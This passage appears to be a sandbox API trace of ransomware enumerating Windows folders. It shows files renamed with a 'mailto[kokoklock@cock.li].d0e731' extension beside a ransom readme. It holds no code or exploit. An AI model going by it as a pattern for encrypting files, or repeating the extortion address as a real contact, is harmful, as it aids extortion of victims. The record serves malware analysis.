_Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" [0170.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f831f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0170.998] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 0 [0170.998] FindClose (in: hFindFile=0x2f7f960 | out: hFindFile=0x2f7f960) returned 1 [0170.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c1a0) returned 1 [0170.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87ea0) returned 1 [0170.999] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9fd0) returned 1 [0170.999] RtlExitUserThread (Status=0x0) Thread: id = 1825 os_tid = 0xf4c [0169.336] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fefdc0 [0169.337] wcscpy (in: _Dest=0x2fefdc0, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0169.337] wcscat (in: _Dest=0x2fefdc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0169.337] wcscat (in: _Dest=0x2fefdc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\*") returned="C:\\Users\\All Users\\Microsoft\\UEV\\*" [0169.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c670 [0169.337] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\*", lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fb20 [0169.338] wcscmp (_String1=".", _String2=".") returned 0 [0169.338] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.338] wcscmp (_String1="..", _String2=".") returned 1 [0169.338] wcscmp (_String1="..", _String2="..") returned 0 [0169.338] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InboxTemplates", cAlternateFileName="INBOXT~1")) returned 1 [0169.338] wcscmp (_String1="InboxTemplates", _String2=".") returned 1 [0169.338] wcscmp (_String1="InboxTemplates", _String2="..") returned 1 [0169.338] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87bc8 [0169.338] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0169.338] wcscat (in: _Dest=0x2f87bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0169.338] wcscat (in: _Dest=0x2f87bc8, _Source="InboxTemplates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates" [0170.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0170.993] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scripts", cAlternateFileName="")) returned 1 [0170.993] wcscmp (_String1="Scripts", _String2=".") returned 1 [0170.993] wcscmp (_String1="Scripts", _String2="..") returned 1 [0170.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4a80 [0170.993] wcscpy (in: _Dest=0x2fa4a80, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0170.993] wcscat (in: _Dest=0x2fa4a80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0170.993] wcscat (in: _Dest=0x2fa4a80, _Source="Scripts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts" [0170.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa4a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0170.994] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0170.994] wcscmp (_String1="Templates", _String2=".") returned 1 [0170.994] wcscmp (_String1="Templates", _String2="..") returned 1 [0170.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4180 [0170.994] wcscpy (in: _Dest=0x2fa4180, _Source="C:\\Users\\All Users\\Microsoft\\UEV" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV") returned="C:\\Users\\All Users\\Microsoft\\UEV" [0170.994] wcscat (in: _Dest=0x2fa4180, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\") returned="C:\\Users\\All Users\\Microsoft\\UEV\\" [0170.994] wcscat (in: _Dest=0x2fa4180, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\UEV\\Templates") returned="C:\\Users\\All Users\\Microsoft\\UEV\\Templates" [0170.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa4180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0170.995] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c670 | out: lpFindFileData=0x2f9c670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0170.995] FindClose (in: hFindFile=0x2f7fb20 | out: hFindFile=0x2f7fb20) returned 1 [0170.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c670) returned 1 [0170.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefdc0) returned 1 [0170.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa13b0) returned 1 [0170.995] RtlExitUserThread (Status=0x0) Thread: id = 1826 os_tid = 0xf50 [0169.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x2f96d50 [0169.339] wcscpy (in: _Dest=0x2f96d50, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0169.339] wcscat (in: _Dest=0x2f96d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0169.339] wcscat (in: _Dest=0x2f96d50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*" [0169.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cb40 [0169.339] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x869b8139, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x869b8139, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f9a0 [0169.339] wcscmp (_String1=".", _String2=".") returned 0 [0169.339] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x869b8139, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x869b8139, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.339] wcscmp (_String1="..", _String2=".") returned 1 [0169.339] wcscmp (_String1="..", _String2="..") returned 0 [0169.339] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868146c9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x868146c9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x868146c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.339] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.339] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.339] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x868146c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x931d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default User.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DEFAUL~1.D0E")) returned 1 [0169.339] wcscmp (_String1="Default User.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.339] wcscmp (_String1="Default User.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.339] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2f7e1e8 [0169.339] wcscpy (in: _Dest=0x2f7e1e8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0169.340] wcscat (in: _Dest=0x2f7e1e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0169.340] wcscat (in: _Dest=0x2f7e1e8, _Source="Default User.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731" [0170.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f7e1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0170.982] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37896d36, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy.dat", cAlternateFileName="")) returned 1 [0170.982] wcscmp (_String1="FD1HVy.dat", _String2=".") returned 1 [0170.982] wcscmp (_String1="FD1HVy.dat", _String2="..") returned 1 [0170.982] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7c) returned 0x2f6c5c8 [0170.982] wcscpy (in: _Dest=0x2f6c5c8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.982] wcscat (in: _Dest=0x2f6c5c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.982] wcscat (in: _Dest=0x2f6c5c8, _Source="FD1HVy.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" [0170.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6c5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0170.983] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x868acfb7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x93138, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.983] wcscmp (_String1="guest.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.983] wcscmp (_String1="guest.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.983] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b200 [0170.983] wcscpy (in: _Dest=0x4f0b200, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.983] wcscat (in: _Dest=0x4f0b200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.983] wcscat (in: _Dest=0x4f0b200, _Source="guest.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.mailto[kokoklock@cock.li].d0e731" [0170.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0170.984] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x868d32ed, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.984] wcscmp (_String1="guest.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.984] wcscmp (_String1="guest.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.984] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0ac88 [0170.984] wcscpy (in: _Dest=0x4f0ac88, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.984] wcscat (in: _Dest=0x4f0ac88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.984] wcscat (in: _Dest=0x4f0ac88, _Source="guest.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731" [0170.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0ac88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0170.985] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x8683a86b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa27, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-192.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.985] wcscmp (_String1="user-192.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.985] wcscmp (_String1="user-192.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2fc3bc8 [0170.985] wcscpy (in: _Dest=0x2fc3bc8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.985] wcscat (in: _Dest=0x2fc3bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.985] wcscat (in: _Dest=0x2fc3bc8, _Source="user-192.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731" [0170.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0170.986] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x868f94fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-32.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.986] wcscmp (_String1="user-32.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.986] wcscmp (_String1="user-32.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0aee0 [0170.986] wcscpy (in: _Dest=0x4f0aee0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.986] wcscat (in: _Dest=0x4f0aee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.986] wcscat (in: _Dest=0x4f0aee0, _Source="user-32.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731" [0170.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0aee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0170.987] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x86860c1a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-40.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.987] wcscmp (_String1="user-40.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.987] wcscmp (_String1="user-40.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0ad50 [0170.987] wcscpy (in: _Dest=0x4f0ad50, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.987] wcscat (in: _Dest=0x4f0ad50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.987] wcscat (in: _Dest=0x4f0ad50, _Source="user-40.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png.mailto[kokoklock@cock.li].d0e731" [0170.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0170.988] FindNextFileW (in: hFindFile=0x2f7f9a0, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x86945aaf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-48.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0170.988] wcscmp (_String1="user-48.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.988] wcscmp (_String1="user-48.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.988] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0b2c8 [0170.988] wcscpy (in: _Dest=0x4f0b2c8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0170.988] wcscat (in: _Dest=0x4f0b2c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0170.988] wcscat (in: _Dest=0x4f0b2c8, _Source="user-48.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png.mailto[kokoklock@cock.li].d0e731" [0170.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 